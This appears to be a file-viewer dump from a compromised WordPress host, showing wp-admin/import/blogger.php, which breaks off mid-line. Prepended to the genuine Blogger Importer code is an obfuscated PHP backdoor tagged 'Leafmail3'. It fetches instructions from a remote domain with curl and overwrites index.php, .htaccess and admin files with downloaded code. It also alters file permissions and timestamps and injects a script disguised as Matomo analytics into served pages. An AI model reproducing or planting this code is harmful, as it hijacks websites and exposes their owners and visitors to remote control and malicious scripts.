Current Path : /home/scoots/www/wp-admin/import/ |
Linux webm002.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64 |
Current File : /home/scoots/www/wp-admin/import/blogger.php |
<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?> <?php /** * Blogger Importer * * @package WordPress * @subpackage Importer */ /** * How many records per GData query * * @package WordPress * @subpackage Blogger_Import * @var int * @since unknown */ define( 'MAX_RESULTS', 50 ); /** * How many seconds to let the script run * * @package WordPress * @subpackage Blogger_Import * @var int * @since unknown */ define( 'MAX_EXECUTION_TIME', 20 ); /** * How many seconds between status bar updates * * @package WordPress * @subpackage Blogger_Import * @var int * @since unknown */ define( 'STATUS_INTERVAL', 3 ); /** * Blogger Importer class * * @since unknown */ class Blogger_Import { // Shows the welcome screen and the magic auth link. function greet() { $next_url = get_option('siteurl') . '/wp-admin/index.php?import=blogger&noheader=true'; $auth_url = "https://www.google.com/accounts/AuthSubRequest"; $title = __('Import Blogger'); $welcome = __('Howdy! This importer allows you to import posts and comments from your Blogger account into your WordPress blog.'); $prereqs = __('To use this importer, you must have a Google account and an upgraded (New, was Beta) blog hosted on blogspot.com or a custom domain (not FTP).'); $stepone = __('The first thing you need to do is tell Blogger to let WordPress access your account. You will be sent back here after providing authorization.'); $auth = __('Authorize'); echo " <div class='wrap'> ".screen_icon()." <h2>$title</h2> <p>$welcome</p><p>$prereqs</p><p>$stepone</p> <form action='$auth_url' method='get'> <p class='submit' style='text-align:left;'> <input type='submit' class='button' value='$auth' /> <input type='hidden' name='scope' value='http://www.blogger.com/feeds/' /> <input type='hidden' name='session' value='1' /> <input type='hidden' name='secure' value='0' /> <input type='hidden' name='next' value='$next_url' /> </p> </form> </div>\n"; } function uh_oh($title, $message, $info) { echo "<div class='wrap'>"; screen_icon(); echo "<h2>$title</h2><p>$message</p><pre>$info</pre></div>"; } function auth() { // We have a single-use token that must be upgraded to a session token. $token = preg_replace( '/[^-_0-9a-zA-Z]/', '', $_GET['token'] ); $headers = array( "GET /accounts/AuthSubSessionToken HTTP/1.0", "Authorization: AuthSub token=\"$token\"" ); $request = join( "\r\n", $headers ) . "\r\n\r\n"; $sock = $this->_get_auth_sock( ); if ( ! $sock ) return false; $response = $this->_txrx( $sock, $request ); preg_match( '/token=([-_0-9a-z]+)/i', $response, $matches ); if ( empty( $matches[1] ) ) { $this->uh_oh( __( 'Authorization failed' ), __( 'Something went wrong. If the problem persists, send this info to support:' ), htmlspecialchars($response) ); return false; } $this->token = $matches[1]; wp_redirect( remove_query_arg( array( 'token', 'noheader' ) ) ); } function get_token_info() { $headers = array( "GET /accounts/AuthSubTokenInfo HTTP/1.0", "Authorization: AuthSub token=\"$this->token\"" ); $request = join( "\r\n", $headers ) . "\r\n\r\n"; $sock = $this->_get_auth_sock( ); if ( ! $sock ) return; $response = $this->_txrx( $sock, $request ); return $this->parse_response($response); } function token_is_valid() { $info = $this->get_token_info(); if ( $info['code'] == 200 ) return true; return false; } function show_blogs($iter = 0) { if ( empty($this->blogs) ) { $headers = array( "GET /feeds/default/blogs HTTP/1.0", "Host: www.blogger.com", "Authorization: AuthSub token=\"$this->token\"" ); $request = join( "\r\n", $headers ) . "\r\n\r\n"; $sock = $this->_get_blogger_sock( ); if ( ! $sock ) return; $response = $this->_txrx( $sock, $request ); // Quick and dirty XML mining. list( $headers, $xml ) = explode( "\r\n\r\n", $response ); $p = xml_parser_create(); xml_parse_into_struct($p, $xml, $vals, $index); xml_parser_free($p); $this->title = $vals[$index['TITLE'][0]]['value']; // Give it a few retries... this step often flakes out the first time. if ( empty( $index['ENTRY'] ) ) { if ( $iter < 3 ) { return $this->show_blogs($iter + 1); } else { $this->uh_oh( __('Trouble signing in'), __('We were not able to gain access to your account. Try starting over.'), '' ); return false; } } foreach ( $index['ENTRY'] as $i ) { $blog = array(); while ( ( $tag = $vals[$i] ) && ! ( $tag['tag'] == 'ENTRY' && $tag['type'] == 'close' ) ) { if ( $tag['tag'] == 'TITLE' ) { $blog['title'] = $tag['value']; } elseif ( $tag['tag'] == 'SUMMARY' ) { $blog['summary'] == $tag['value']; } elseif ( $tag['tag'] == 'LINK' ) { if ( $tag['attributes']['REL'] == 'alternate' && $tag['attributes']['TYPE'] == 'text/html' ) { $parts = parse_url( $tag['attributes']['HREF'] ); $blog['host'] = $parts['host']; } elseif ( $tag['attributes']['REL'] == 'edit' ) $blog['gateway'] = $tag['attributes']['HREF']; } ++$i; } if ( ! empty ( $blog ) ) { $blog['total_posts'] = $this->get_total_results('posts', $blog['host']); $blog['total_comments'] = $this->get_total_results('comments', $blog['host']); $blog['mode'] = 'init'; $this->blogs[] = $blog; } } if ( empty( $this->blogs ) ) { $this->uh_oh( __('No blogs found'), __('We were able to log in but there were no blogs. Try a different account next time.'), '' ); return false; } } //echo '<pre>'.print_r($this,1).'</pre>'; $start = js_escape( __('Import') ); $continue = js_escape( __('Continue') ); $stop = js_escape( __('Importing...') ); $authors = js_escape( __('Set Authors') ); $loadauth = js_escape( __('Preparing author mapping form...') ); $authhead = js_escape( __('Final Step: Author Mapping') ); $nothing = js_escape( __('Nothing was imported. Had you already imported this blog?') ); $title = __('Blogger Blogs'); $name = __('Blog Name'); $url = __('Blog URL'); $action = __('The Magic Button'); $posts = __('Posts'); $comments = __('Comments'); $noscript = __('This feature requires Javascript but it seems to be disabled. Please enable Javascript and then reload this page. Don\'t worry, you can turn it back off when you\'re done.'); $interval = STATUS_INTERVAL * 1000; foreach ( $this->blogs as $i => $blog ) { if ( $blog['mode'] == 'init' ) $value = $start; elseif ( $blog['mode'] == 'posts' || $blog['mode'] == 'comments' ) $value = $continue; else $value = $authors; $blogtitle = js_escape( $blog['title'] ); $pdone = isset($blog['posts_done']) ? (int) $blog['posts_done'] : 0; $cdone = isset($blog['comments_done']) ? (int) $blog['comments_done'] : 0; $init .= "blogs[$i]=new 